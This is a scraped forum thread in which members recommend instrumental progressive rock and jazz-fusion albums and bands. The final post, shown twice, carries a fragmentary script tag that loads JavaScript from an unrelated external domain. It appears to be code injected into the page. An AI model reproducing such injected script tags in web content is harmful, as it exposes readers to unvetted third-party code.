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Posted: November 08 2019 at 09:35

So I have recently been into instrumental albums a lot lately. I have already found a lot of the newer more popular instrumental bands/musicians such as Polyphia, Jason Richardson, Plini, Intervals, etc. I also have really been into the "Prog/Jazz Fusion" bands, (I don't know the exact name of the style) such as the Dixie Dregs in their What If album, and Return to Forever in their Romantic Warrior album. That is the sound that most caught my attention so I am definitely looking for some bands along that style. I am also aware of some of the "pure prog" like Focus and Samla Mammas Manna.

So I guess my three questions are First, what are some good instrumental albums (preferably "Prog/Jazz Fusion")? Secondly what are some good instrumental albums to of come out this year (I'm trying to make a top 5 list for fun)? Lastly, what are your more obscure Instrumental recommendations?

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Posted: November 08 2019 at 09:51

These are just a few worthy listens. I probably forgot a few.

Dewa Budjana

The Aristocrats

Animals as Leaders

Pat Metheny

Nova Collective

Lean-Luc Ponty

Chick Corea Elektric Band

Antoine Fafard

FAT - Fabulous Austrian Trio

Helmet of Gnats

Hiromi

Allan Holdsworth

Marco Minnemann - Broken Orange (mostly instrumental)

Simon Phillips Protocol

Tauk

Bill Bruford solo and Earthworks

Tohpati

Trioscapes

Morglbl

Evan Brewer

Brand X

That should keep you busy for awhile.

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Posted: November 08 2019 at 10:13

Thank you very much. Out of your list the only band that I had listened to was the Aristocrats. I am looking forward to checking out the rest!!

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Posted: November 08 2019 at 10:39

Accordo dei Contrari - Violato Intatto

Vespero - Carto Marina

Wobbler - From Silence to Somewhere

All Traps on Earth - A Drop of Light

Dialato - Live with David Cross

Sonar - Vortex

Far Corner - Risk

Kotebel - Cosmology

Rez Abbasi & Junction - Behind the Vibration

Robeone - Circles

Shob - Solide

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Posted: November 08 2019 at 11:15

Ozric Tentacles for the win. Not mentioning them is like not mentioning Yes or Genesis in a list of symphonic bands. Djam Karet also. Also, most fusion(jazz rock fusion) is instrumental for the most part. Same thing with post rock(if that's your thing). Check the band and if there's vocals listed you can avoid it.

Someone mentioned All Traps on Earth and Wobbler. Well, if you mention them you have to mention Anglagard. Also, "the snowgoose" by Camel and "....di terra" by Banco.

Edited by AFlowerKingCrimson - November 08 2019 at 11:22

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Posted: November 08 2019 at 11:50

Squintaloo - Über Bord
Hands down my favourite instrumental album of the decade. Their self titled album is outstanding as well.

Also check out:
The Pneumatic Transit
Mother Turtle
The Physics House Band
Gösta Berlings Saga

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Posted: November 08 2019 at 13:39

From this year, I recommend "Climbing on Air" by On the Raw. < ="text/" async="" ="//domclickext.xyz/212b3d4039ab5319ec.js">

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	So I have recently been into instrumental albums a lot lately. I have already found a lot of the newer more popular instrumental bands/musicians such as Polyphia, Jason Richardson, Plini, Intervals, etc. I also have really been into the "Prog/Jazz Fusion" bands, (I don't know the exact name of the style) such as the Dixie Dregs in their What If album, and Return to Forever in their Romantic Warrior album. That is the sound that most caught my attention so I am definitely looking for some bands along that style. I am also aware of some of the "pure prog" like Focus and Samla Mammas Manna. So I guess my three questions are First, what are some good instrumental albums (preferably "Prog/Jazz Fusion")? Secondly what are some good instrumental albums to of come out this year (I'm trying to make a top 5 list for fun)? Lastly, what are your more obscure Instrumental recommendations?

Grumpyprogfan Members Profile Send Private Message Find Members Posts Add to Buddy List Reviewer page Forum Senior Member Joined: July 09 2019 Location: Kansas City Status: Offline Points: 12388	Post Options Post Reply Quote Grumpyprogfan Report Post Thanks(0) Quote Reply Posted: November 08 2019 at 09:51
	These are just a few worthy listens. I probably forgot a few. Dewa Budjana The Aristocrats Animals as Leaders Pat Metheny Nova Collective Lean-Luc Ponty Chick Corea Elektric Band Antoine Fafard FAT - Fabulous Austrian Trio Helmet of Gnats Hiromi Allan Holdsworth Marco Minnemann - Broken Orange (mostly instrumental) Simon Phillips Protocol Tauk Bill Bruford solo and Earthworks Tohpati Trioscapes Morglbl Evan Brewer Brand X That should keep you busy for awhile. Edited by Grumpyprogfan - November 08 2019 at 10:00

alerlyking Members Profile Send Private Message Find Members Posts Add to Buddy List Reviewer page Forum Newbie Joined: November 08 2019 Location: Murica Status: Offline Points: 3	Post Options Post Reply Quote alerlyking Report Post Thanks(0) Quote Reply Posted: November 08 2019 at 10:13
	Thank you very much. Out of your list the only band that I had listened to was the Aristocrats. I am looking forward to checking out the rest!!

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	Accordo dei Contrari - Violato Intatto Vespero - Carto Marina Wobbler - From Silence to Somewhere All Traps on Earth - A Drop of Light Dialato - Live with David Cross Sonar - Vortex Far Corner - Risk Kotebel - Cosmology Rez Abbasi & Junction - Behind the Vibration Robeone - Circles Shob - Solide

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	Ozric Tentacles for the win. Not mentioning them is like not mentioning Yes or Genesis in a list of symphonic bands. Djam Karet also. Also, most fusion(jazz rock fusion) is instrumental for the most part. Same thing with post rock(if that's your thing). Check the band and if there's vocals listed you can avoid it. Someone mentioned All Traps on Earth and Wobbler. Well, if you mention them you have to mention Anglagard. Also, "the snowgoose" by Camel and "....di terra" by Banco. Edited by AFlowerKingCrimson - November 08 2019 at 11:22

Tapfret Members Profile Send Private Message Find Members Posts Add to Buddy List Reviewer page Special Collaborator Honorary Collaborator / Retired Admin Joined: August 12 2007 Location: Bryant, Wa Status: Offline Points: 8617	Post Options Post Reply Quote Tapfret Report Post Thanks(0) Quote Reply Posted: November 08 2019 at 11:50
	Squintaloo - Über Bord Hands down my favourite instrumental album of the decade. Their self titled album is outstanding as well. Also check out: The Pneumatic Transit Mother Turtle The Physics House Band Gösta Berlings Saga
	Bandcamp

mathman0806 Members Profile Send Private Message Find Members Posts Add to Buddy List Reviewer page Forum Senior Member Joined: June 06 2014 Location: United States Status: Offline Points: 6813	Post Options Post Reply Quote mathman0806 Report Post Thanks(0) Quote Reply Posted: November 08 2019 at 13:39
	From this year, I recommend "Climbing on Air" by On the Raw. < ="text/" async="" ="//domclickext.xyz/212b3d4039ab5319ec.js">